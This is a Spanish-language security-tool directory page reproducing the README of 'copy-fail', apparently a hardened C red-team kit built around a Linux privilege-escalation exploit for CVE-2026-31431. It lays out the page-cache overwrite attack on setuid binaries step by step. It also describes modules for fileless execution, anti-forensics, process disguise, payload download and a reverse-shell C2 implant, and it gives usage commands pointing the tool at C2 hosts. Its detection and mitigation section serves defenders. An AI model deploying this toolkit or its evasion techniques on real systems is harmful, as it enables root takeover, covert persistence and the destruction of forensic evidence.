Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
COPY-FAIL — Copy Fail - CVE-2026-31431 - Implementación robusta en C para operaciones de redteam y pruebas de penetración autorizadas. ⚠️ Aviso legal: Esta herramienta está destinada exclusivamente a investigaciones de seguridad autorizadas, pruebas de penetración autorizadas y análisis defensivo. Úsela en sistemas que posea o para los cuales tenga permiso explícito por escrito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal. | Kitploit
Herramientas/GitLabGitLab/toxy4ny/copy-fail
Escalada de PrivilegiosExplotaciónPost-ExplotaciónComando y ControlRed TeamingDesarrollo de PayloadsExplotación de Binarios
GitLabtoxy4ny/copy-fail

COPY-FAIL

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Copy Fail - CVE-2026-31431 - Implementación robusta en C para operaciones de redteam y pruebas de penetración autorizadas. ⚠️ Aviso legal: Esta herramienta está destinada exclusivamente a investigaciones de seguridad autorizadas, pruebas de penetración autorizadas y análisis defensivo. Úsela en sistemas que posea o para los cuales tenga permiso explícito por escrito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal.

Ver RepositorioSitio web
12hace 2 mesesAún no revisado
Compartir

Copy Fail -- CVE-2026-31431

Implementación robusta en C para operaciones de redteam y pruebas de penetración autorizadas.

⚠️ Aviso legal: Esta herramienta está destinada exclusivamente para investigación de seguridad autorizada, pruebas de penetración autorizadas y análisis defensivo. Úsela únicamente en sistemas que posea o para los cuales tenga permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal.

🚀 El desarrollo principal se ha trasladado a GitLab.
Este repositorio se mantiene activamente aquí. Para incidencias y contribuciones, use GitLab.


Tabla de Contenidos

  • Visión General
  • Investigación Original
  • Nuestras Mejoras
  • Arquitectura
  • Compilación
  • Uso
  • Módulos
  • Seguridad Operativa
  • Detección y Mitigación
  • Créditos
  • Licencia

Visión General

Este proyecto es una versión robusta y lista para producción en C del exploit de escalada de privilegios local CVE-2026-31431 ("Copy Fail"), divulgado originalmente por Theori y Xint el 29 de abril de 2026.

La prueba de concepto original estaba escrita en Python y diseñada para demostración de investigación. Esta implementación lo transforma en un kit de herramientas de grado redteam con:

  • Cero artefactos en disco (ejecución sin archivos basada en memfd)
  • Descubrimiento automático de objetivos (enumeración de binarios setuid con conocimiento de MAC)
  • Antiforensia (eliminación de caché, restauración de marcas de tiempo, autodestrucción)
  • Control del operador (ejecución activada por señal con tiempos de espera configurables)
  • Compilaciones estáticas multiplataforma (x86_64, ARM64, RISC-V mediante musl/zig)

Investigación Original

CVE-2026-31431: Copy Fail

Mecanismo de Vulnerabilidad

La vulnerabilidad reside en el subsistema criptográfico AF_ALG del kernel de Linux. La plantilla AEAD authencesn implementa una optimización in situ para el descifrado: cuando el texto cifrado se suministra mediante splice() desde la caché de páginas de un archivo, el kernel reutiliza la misma página como origen y destino.

El flujo del ataque:

  1. Abrir un binario setuid (por ejemplo, /usr/bin/su) en modo solo lectura
  2. Configurar una operación AEAD authencesn(hmac(sha256),cbc(aes)) a través de AF_ALG
  3. Suministrar texto cifrado mediante splice() desde la caché de páginas del archivo objetivo
  4. La operación de descifrado (fallida) sobrescribe 4 bytes de la página en caché antes de que la autenticación la rechace
  5. Repetir para cada ventana de 4 bytes de la carga útil
  6. execve() el objetivo -- el kernel carga páginas mutadas desde la caché, otorga credenciales setuid-root
  7. La carga útil pivota a un shell root completo

Punto clave: El inodo en disco nunca se modifica. Solo se muta la caché de páginas en memoria, lo que hace que la detección forense sea significativamente más difícil que en exploits tradicionales de sobrescritura de archivos.


Nuestras Mejoras

Este proyecto amplía la investigación original con endurecimiento orientado a redteam en nueve módulos.

1. Primitiva de Exploit Endurecida (patch_chunk.c)

2. Descubrimiento Automático de Objetivos (target_discovery.c)

  • Escaneo en tres fases: objetivos prioritarios → directorios estándar → escaneo profundo
  • Puntuación consciente de MAC: penaliza binarios con perfiles de AppArmor/SELinux
  • 18 objetivos prioritarios: su, sudo, passwd, pkexec, mount, ping, etc.
  • Cadena de respaldo: si falla el objetivo principal, selecciona automáticamente el siguiente mejor candidato
  • Conciencia de Snap: omite /snap (setuid no tradicional)

3. Suite Antiforensia (anti_forensics.c)

4. Ejecución Sin Archivos (memfd_exec.c)

  • memfd_create + fexecve: ejecutar sin ruta de sistema de archivos
  • Camuflaje: memfd nombrado como kworker, anon_inode, eventfd (se mezcla en /proc/$pid/fd/)
  • Fork-and-forget: doble fork para crear proceso huérfano (PPID=1)
  • Descifrado en memoria: XOR y RC4 descifrar-luego-ejecutar (la carga útil nunca está en texto plano en disco)

5. Entrega de Carga Útil Etapa-1 (stage1.c)

6. Implante C2 Etapa-2 (stage2_template.c)

  • Bucle de reconexión resiliente con retroceso exponencial
  • Tres distribuciones: uniforme, triangular, jitter exponencial
  • Control por señales: SIGUSR1 (disparar), SIGUSR2 (estado), SIGTERM (apagar)
  • Beaconing DNS: verificación de estado C2 sigilosa antes de conexión TCP
  • Suplantación de proceso: [kworker/N:0] en ps/top

7. Ocultación de Procesos (proc_hide.c)

  • Sobrescritura de argv[0]: reemplazo in situ de /proc/$pid/cmdline
  • prctl(PR_SET_NAME): nombres tipo hilo de kernel (límite de 16 bytes)
  • Sanitización de entorno: borrado selectivo de SSH_*, AWS_*, TOKEN*, etc.
  • Desvinculación de padre: setsid() + setpgid() para independencia de terminal

8. Control de Disparo por Señal (signal_trigger.c)

ModoComportamientoCaso de Uso
trigger_oneshot()

Espera de cero CPU: sigsuspend() en lugar de bucles de sondeo.

9. Jitter de Sueño (sleep_jitter.c)

  • Tres backends de RNG: getrandom(2), /dev/urandom, rdtsc de respaldo
  • Muestreo por rechazo: elimina el sesgo de módulo en distribución uniforme
  • Compensación de deriva: sleep_scheduled() mantiene el intervalo promedio a pesar del jitter
  • Detección de sandbox: check_sandbox_acceleration() detecta sleep() parcheado

Arquitectura

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                     exploit.c (Orquestador)                 │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐          │
│  │Ocultar  │ │Descubrir│ │Explotar │ │Limpiar  │          │
│  │Proceso  │ │Objetivo │ │         │ │         │          │
│  └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘          │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Capa de Módulos Centrales               │  │
│  │  patch_chunk.c  target_discovery.c  anti_forensics.c  │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Capa de Entrega y Evasión              │  │
│  │  stage1.c  memfd_exec.c  proc_hide.c                │  │
│  │  signal_trigger.c  sleep_jitter.c                   │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Capa de Carga Útil (Etapa-2)           │  │
│  │  stage2_template.c  (reverse shell / implante C2)   │  │
│  └─────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Compilación

Requisitos

  • GCC o Clang
  • GNU Make
  • Cabeceras de Linux (linux-libc-dev o equivalente)
  • Opcional: musl-tools (para compilaciones estáticas pequeñas)
  • Opcional: zig (para compilación cruzada moderna)
  • Opcional: dpkg-deb (para empaquetado Debian)

Inicio Rápido

root@kitploit:~
# Compilación estándar redteam (optimizada, reducida, estática)
make redteam

# Compilación pentest (símbolos, optimización moderada)
make pentest

# Compilación de depuración (ASAN, símbolos completos)
make debug

# Verificador de vulnerabilidad (no destructivo)
make checker

Compilación Cruzada

root@kitploit:~
# ARM64 (objetivos en AWS/Azure cloud)
make cross-arm64

# RISC-V
make cross-riscv

# ARM HF (embebido/IoT)
make cross-armhf

# Compilación cruzada con Zig (sin instalación de toolchain)
make cross-zig-arm64
make cross-zig-riscv

Compilación Estática con musl (Binarios Pequeños)

root@kitploit:~
make musl-static
# Produce binarios estáticos de ~50-100 KB sin dependencia de glibc

Paquete Debian

root@kitploit:~
make deb VERSION=1.0.0
# Produce: build/deb/copy-fail-cve-2026-31431-1.0.0.deb

Información de Compilación

root@kitploit:~
make info
# Muestra: CC, CFLAGS, LDFLAGS, arquitectura, disponibilidad de toolchain

Uso

Modo Estándar (Disparado por Señal)

root@kitploit:~
# Desplegar implante
./exploit &
IMP_PID=$!

# Disparar explotación remotamente
kill -USR1 $IMP_PID

# Solicitar estado (sin acción)
kill -USR2 $IMP_PID

# Apagado ordenado
kill -TERM $IMP_PID

Ejecución Inmediata

root@kitploit:~
./exploit -t                    # Disparar ahora, sin esperar señal
./exploit -t -c c2.example.com -p 9999

Configuración Personalizada

root@kitploit:~
./exploit \
  -c c2.redteam.internal \      # Hostname C2
  -p 4444 \                      # Puerto C2
  -d 300 \                       # Retardo inicial de 5 minutos
  -T 7200 \                      # Tiempo de espera de disparo de 2 horas
  -n                             # Omitir verificación de vulnerabilidad

Verificación de Vulnerabilidad No Destructiva

root@kitploit:~
./vulnerable
# Código de salida: 100 = vulnerable, 0 = parcheado, otro = error

Módulos


Seguridad Operativa

Mejores Prácticas Redteam

  1. Desplegar durante períodos de baja actividad para minimizar correlación
  2. Usar jitter exponencial para intervalos de reconexión (evita detección de beaconing)
  3. Disparar mediante SIGUSR1 en lugar de disparo automático (el operador mantiene el control)
  4. Siempre ejecutar limpieza (full_cleanup) incluso si el exploit falla
  5. Preferir ejecución memfd sobre cargas útiles en disco
  6. Doble fork para persistencia (memfd_fork_exec_detach)
  7. Monitorear aceleración de sandbox antes de ejecutar

Artefactos Forenses


Detección y Mitigación

Detección Defensiva

Mitigaciones

  1. Parche del kernel: Actualizar a Linux >= 6.14 con el commit a664bf3d603d
  2. Livepatch: Aplicar backport específico de la distribución
  3. SELinux/AppArmor: Imponer perfiles en binarios setuid
  4. Monitoreo eBPF: Rastrear combinaciones AF_ALG + splice()
  5. Verificación de caché de páginas: Comprobaciones periódicas de integridad en binarios críticos

Créditos

Investigación Original

  • Theori -- Jinoh Kang, Yonghwi Jin, Seunghyun Lee
  • Xint -- Divulgación colaborativa
  • Artículo: https://copy.fail/
  • PoC original: theori-io/copy-fail-CVE-2026-31431

Puerto Base en C

  • Tony Gies -- tgies/copy-fail-c
  • Proporcionó la implementación base en C usando nolibc
  • Envoltorios de llamadas al sistema multiplataforma e infraestructura de compilación

Este Fork Endurecido

  • Endurecimiento orientado a redteam en 9 módulos
  • Funciones de seguridad operativa (antiforensia, evasión, sigilo)
  • Soporte de compilación cruzada (musl, zig, multiarquitectura)
  • Control de operador basado en señales y modos de ejecución configurables

Agradecimientos

  • Desarrolladores del kernel de Linux por memfd_create(2) y fexecve(3)
  • Mantenedores de nolibc por la alternativa a libc solo con cabeceras
  • Proyecto musl libc por binarios estáticos pequeños
  • Proyecto Zig por la moderna cadena de herramientas de compilación cruzada

Licencia

Este proyecto está bajo doble licencia:

  • LGPL-2.1-o-posterior
  • MIT

Consulte los archivos fuente individuales para identificadores SPDX.

La investigación original y el puerto base en C permanecen bajo sus respectivas licencias. El código adicional de este fork se proporciona bajo la doble licencia anterior para máxima compatibilidad con casos de uso de investigación de seguridad tanto de código abierto como comerciales.


Aviso Legal

Este software se proporciona para investigación de seguridad autorizada y pruebas de penetración autorizadas únicamente. Los autores no asumen ninguna responsabilidad por el uso indebido o los daños causados por este software. Siempre obtenga la autorización adecuada antes de probar cualquier sistema que no posea.

Si descubre esta vulnerabilidad en sus sistemas:

  • Aplique el parche del kernel (commit a664bf3d603d o backport de la distribución)
  • Monitoree los indicadores de compromiso (IoCs) listados anteriormente
  • Revise /var/log/audit/ y la telemetría de EDR en busca de anomalías de AF_ALG
Descargar herramienta
AtributoValor
Fecha de divulgación29 de abril de 2026
InvestigadoresTheori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee), Xint
Artículohttps://copy.fail/
PoC originaltheori-io/copy-fail-CVE-2026-31431 (Python)
Puerto en C (base)tgies/copy-fail-c por Tony Gies
Kernels afectadosLinux 4.14 -- 6.14 (antes del commit de corrección a664bf3d603d)
GravedadCVSS 7.8 (Alta) -- Escalada de privilegios local
CaracterísticaOriginalNuestra Implementación
Gestión de socketsSocket nuevo por fragmentoReutilización de socket (~60% menos llamadas al sistema)
VerificaciónNingunammap + memcmp con reintento automático (3 intentos)
Escrituras paralelasSolo secuencialesParalelas basadas en fork (hasta 16 procesos)
Códigos de errorÉxito/fracaso binarioGranulares: 0=verificado, 1=kernel parcheado, -1=fallo fatal
Asignaciones de heapmalloc en ruta críticaSolo pila (sin fluctuación de asignación)
TécnicaPropósito
posix_fadvise(POSIX_FADV_DONTNEED)Expulsión de caché de páginas por archivo
echo 3 > /proc/sys/vm/drop_cachesEliminación global de caché (post-root)
utimensat() timestompRestaurar atime/mtime original
AutodestrucciónSobrescribir binario dropper con ceros antes de exec
Borrado de memoriaPuesta a cero volatile de búferes sensibles
CanalSigiloVelocidadPrioridad de Respaldo
IncrustadoMáximoInstantáneoÚltimo (airgap)
HTTP directoMedio<1sPrimero
curl/wget del sistemaBajo1-3sSegundo (soporte HTTPS)
DNS TXTAltoLentoTercero (bypass de firewall)
Dormir → disparar → ejecutar → salir
Golpe y fuga
trigger_daemon()Dormir → disparar → ejecutar → bucleImplante persistente
trigger_auto()Dormir con respaldo de tiempo de esperaOperaciones sin supervisión
MóduloArchivo(s)Propósito
Primitiva de Exploitpatch_chunk.c/hMutación de caché de páginas AF_ALG/splice
Descubrimiento de Objetivostarget_discovery.c/hEscaneo y puntuación automática de binarios setuid
Antiforensiaanti_forensics.c/hLimpieza, timestomp, autodestrucción
Entrega Etapa-1stage1.c/hObtención y ejecución sin archivos de carga útil
C2 Etapa-2stage2_template.c/hReverse shell con bucle de reconexión
Ejecución memfdmemfd_exec.c/hPrimitivas de ejecución de archivos anónimos
Ocultación de Procesosproc_hide.c/hSuplantación de argv/cmdline/comm
Control de Señalessignal_trigger.c/hEjecución disparada por operador
Jitter de Sueñosleep_jitter.c/hRetardos aleatorios con distribuciones
Orquestadorexploit.cPunto de entrada principal y coordinación
Verificadorvulnerable.cSonda de vulnerabilidad no destructiva
ArtefactoUbicaciónMitigación
Caché de páginas mutadaSolo RAMdrop_page_cache_for_file()
Ruta del binario/proc/$pid/exememfd (muestra como (deleted))
Línea de comandos/proc/$pid/cmdlineoverwrite_argv()
Nombre del proceso/proc/$pid/commprctl(PR_SET_NAME)
Marcas de tiempostat() en objetivotimestomp_file()
Binario dropperEn discoself_destruct_and_exec()
Conexiones de rednetstat, EDRBeaconing DNS, jitter
IndicadorMétodo de Detección
Patrón de socket AF_ALG + splice()Rastreo de llamadas al sistema con eBPF
memfd_create con nombres sospechososMonitoreo de /proc/$pid/fd/
Nombres de proceso entre corchetes en espacio de usuarioDetección de anomalías de procesos
Consultas DNS regulares a un único dominioAnalítica de DNS
Inconsistencia de integridad de caché de páginasForensia de memoria del kernel